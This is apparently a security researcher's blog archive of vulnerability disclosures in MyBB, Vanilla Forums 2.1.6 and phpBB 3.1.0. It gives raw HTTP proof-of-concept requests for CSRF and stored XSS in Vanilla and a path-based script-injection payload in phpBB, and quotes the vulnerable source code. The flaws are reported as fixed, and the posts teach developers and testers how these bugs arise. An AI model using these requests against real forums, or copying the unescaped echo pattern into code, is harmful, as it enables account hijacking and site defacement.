Category Archives: Open Source Web Applications

How Ignoring Low-Level Security Risks Can Open the Door to Major Attacks

With the rise in attacks against web applications, cyber security teams naturally have prioritized the elimination of high-risk threats, such as SQL injections and cross-site scripting (XSS) vulnerabilities. The flip side of this is that many cybersecurity teams choose to ignore or delay the remediation of low-level security vulnerabilities in their web applications. Unfortunately, this isn’t a wise strategy. Underestimating the importance of fixing low-level security issues could create a major problem for an organization. Why? By exploiting a combination of seemingly trivial vulnerabilities, attackers can sometimes open up a big security gap that lets them do extreme damage. In this article, I will demonstrate such a scenario, showing how by taking advantage of several unfixed low-level security issues, an attacker could gain full administrator access to a popular web application.

Three low level issues discovered in MyBB

In a recent audit of MyBB, I found three low-level security issues which, if exploited in aggregate, could allow a hacker to gain total control of this open source application which people use to create discussion forums. The issue has been partially addressed in its latest version — MyBB 1.8.7 – so users are no longer vulnerable to the danger described here.

Continue Reading at Qualys Community Blog

From XSS to CSRF, how to gain administrator control of websites hosting myBB

I describe how XSS vulnerabilities can be used to attack popular open source web applications and application frameworks, and how some web applications are compromised by CSRF attacks because of implementation flaws on the server side.

In most of the case, an attacker will combine these two kinds of vulnerability to launch destructive attacks. In a recent audit against MyBB 1.8.3, I discovered a XSS vulnerability and I demonstrated how to gain administrator access to the website hosting MyBB though session hijacking was prohibited there.  To get a quick look at this article, please read my blog under Qualys Community…

CSRF and Stored XSS vulnerability at Vanilla 2.1.6

CSRF and Stored XSS vulnerability at Vanilla 2.1.6

When I was conducting research about CSRF protection method in popular web applications  at Qualys.  As described in the research article, Vanilla Forum 2.1.6 is one of the victims that are suffering from CSRF attack though anti-CSRF tokens are deployed in the web applications. Currently, it has been fixed with VanillaForums 2.1.7

CSRF Vulnerabilities

CSRF Vulnerability 1

The CSRF vulnerability could be found at the post discussion function, which will enable an attacker to trigger the admin user to post as many malicious discussions as possible when an authenticated admin makes the following request

POC

POST /vanilla/index.php?p=/post/discussion HTTP/1.1
Host: yourhost
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:33.0) Gecko/20100101 Firefox/33.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Content-Length: 193
Cookie: Vanilla=1-1420142760%7C4b9b4380637aacae40aa5a3869b91e17%7C1417550760%7C1%7C1420142760; Vanilla-Vv=1417920140
Connection: keep-alive
Pragma: no-cache
Cache-Control: no-cache

 TransientKey=T4XEZV8VMRTR&hpt=&DiscussionID=&DraftID=0&CategoryID=1&Name=CSRF_Attack&Body=Let us disscuss CSRF Here&Announce=0&DeliveryType=VIEW&DeliveryMethod=JSON&Post_Discussion=Post Discussion

The anti-CSRF token TransientKey  does not function because the server-side is not checking whether the anti-CSRF token TransientKey is presented or not. The request will be processed by the server-side even without the presence of the TransientKey. 

Following is the screenshot of the response by triggering the admin to make the request. As you could find, a new discussion with name “CSRF_Attack” will be posted at the main pages of the website.

Vanilla_CSRF_Vulnerability_1

CSRF Vulnerability 2

This vulnerability will allow an attacker to change/edit all the posted discussion in the forums by triggering admin user to make the following request.

POC

POST /vanilla/index.php?p=/vanilla/post/editdiscussion/1 HTTP/1.1
Host: yourhost
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:33.0) Gecko/20100101 Firefox/33.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Content-Length: 167
Cookie: Vanilla=1-1420142760%7C4b9b4380637aacae40aa5a3869b91e17%7C1417550760%7C1%7C1420142760; Vanilla-Vv=1417920828
Connection: keep-alive
Pragma: no-cache
Cache-Control: no-cache

 TransientKey=T4XEZV8VMRTR&hpt=&DiscussionID=1&DraftID=0&CategoryID=1&Name=BAM!+CSRF+Attack+Here+Watch+Out&Body=CSRF_Attack&Format=Html&Announce=0&DeliveryType=VIEW&DeliveryMethod=JSON&Save=Save

Similar to the previous CSRF vulnerability, this vulnerability was exposed because the server side does not check the anit-CSRF token when processing this request.Vanilla_CSRF_Vulnerability_2

XSS Vulnerability

Besides the CSRF vulnerability, actually there is an XSS vulnerability in the edit discussion function as well.

POC

POST / vanilla/index.php?p=/vanilla/post/editdiscussion/1 HTTP/1.1
Host:yourhost
User-Agent: Mozilla/5.0 (Windows NT 6.1;WOW64; rv:33.0) Gecko/20100101 Firefox/33.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US,en;q=0.5
Accept-Encoding:gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Content-Length: 221
Cookie: Vanilla=1-1420142760%7C4b9b4380637aacae40aa5a3869b91e17%7C1417550760%7C1%7C1420142760; Vanilla-Vv=1417920828
  Connection: keep-alivePragma: no-cache
Cache-Control: no-cache

hpt=&DiscussionID=1&DraftID=0&CategoryID=1&Name=BAM!+CSRF+Attack+Here+Watch+Ou&Body=CSRF_Attackt_XSS_Injection_Code&Format=&Announce=0&DeliveryType=VIEW&DeliveryMethod=JSON&Save=Save

The injected XSS codes will not be filtered on the server and it will be executed directly on the browser .http://yourhost/vanilla/index.php?p=/discussion/1/, since the XSS code are the content of the discussion, which will be a store XSS vulnerabilityVanilla_XSS_Vulnerability.

Conclusion

As a web master, the presence of anti-CSRF token in the web application does not mean the web application is protected from CSRF attacking since the developer might forget to add the server-side validation to check whether the CSRF token is valid or not, you should double-check whether the anti-CSRF token is probably deployed.

As a pen tester, you should not stand off if you saw the csrf tokens in the html page. Just spend several seconds to check whether the anti-CSRF token is working, you might find a big rewards behind it.

 

 

 

Path Based XSS Vulnerability in PHPBB3.1.0

After reporting a Cross-Site Scripting vulnerability in Joomla 3.3.3, I spend some time to play with widely used open source software, pphBB3.1.0.   Without paying too much effort on it, I found a Cross-Site Scripting vulnerability in it and now it has been patched in phpBB 3.1.1.

Different to a normal XSS vulnerability, Path Based XSS vulnerability, as the name it indicates, is relatively special XSS vulnerability since the injection point is the PATH of HTTP Request,  which makes me to feel worthy to start a write up on it.

Where is the Path Based XSS in PHPBB 3.1.0?

POC

GET /phpBB3/index.php/><script>alert(‘XSS’)</script> HTTP/1.1
Host: yourdomain
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Cookie: phpbb3_gk69y_k=; phpbb3_gk69y_u=2Connection: keep-alive

The injected JavaScript Code will be reflected at

<body id=”phpbb” class=”nojs notouch section-index/“><script>alert(‘XSS’)</script> ltr “>

Note:  I was unable to exploit this vulnerability through a modern browser since it will encode the injected JavaScript code automatically as filename. In order to reproduce this vulnerability, you will need assistance from a proxy.

When digging into the source code, I observed this XSS vulnerability was actually caused by the following code

$symfony_request_path = $phpbb_filesystem->clean_path($symfony_request->getPathInfo());
if ($symfony_request_path !== ‘/’)
{
$page_name .= $symfony_request_path;
}                                                                                                                                            // phpbb/session.php
‘SCRIPT_NAME’      => str_replace(‘.’ . $phpEx, ”, $user->page[‘page_name’]),    // includes/functions.php:
<body id=\”phpbb\” class=\”nojs notouch section-“;
// line 55
echo (isset($context[“SCRIPT_NAME”]) ? $context[“SCRIPT_NAME”] : null);
echo ” “;
echo (isset($context[“S_CONTENT_DIRECTION”]) ? $context[“S_CONTENT_DIRECTION”] : null);
echo ” “;
echo (isset($context[“BODY_CLASS”]) ? $context[“BODY_CLASS”] : null);
echo “\”>”;

The source code indicates  injected JavaScript code was taken as the Page Name  and the application is then trying to render the PageName as index/”><script>alert(‘XSS’)</script> in the response page before encode it. As a consequence, it exposed XSS vulnerability.

Path Based XSS Vulnerability are on the stage

 

What is PATH Based XSS vulnerability

In general, PATH Based XSS vulnerability was composed when the request URLs are rendered directly in the response body without proper encoding or input validation.

The most common format of the PATH Based XSS vulnerability looks like.

<a href=” <?php echo $_SERVER[‘REQUEST_URI’];?>”>Click Here </a>

Special, but Not Rare

Path Based XSS vulnerability is special, but it is not rare vulnerability in web applications. With several years working experience in Qualys,   I have seen several cases in some open source web application, such as ATutor , E107 and TomatoCar ,etc.

A lot of developers may never think about the injection point could be the PATH of the URl. Normally, they think XSS vulnerability could only appear in request headers or request parameters. That could explain WHY PHPBB3 is suffering this vulnerability.

With no doubt, attention should be paid to check whether your website is suffering from path based XSS vulnerability because the developers might ignore this potential injection point.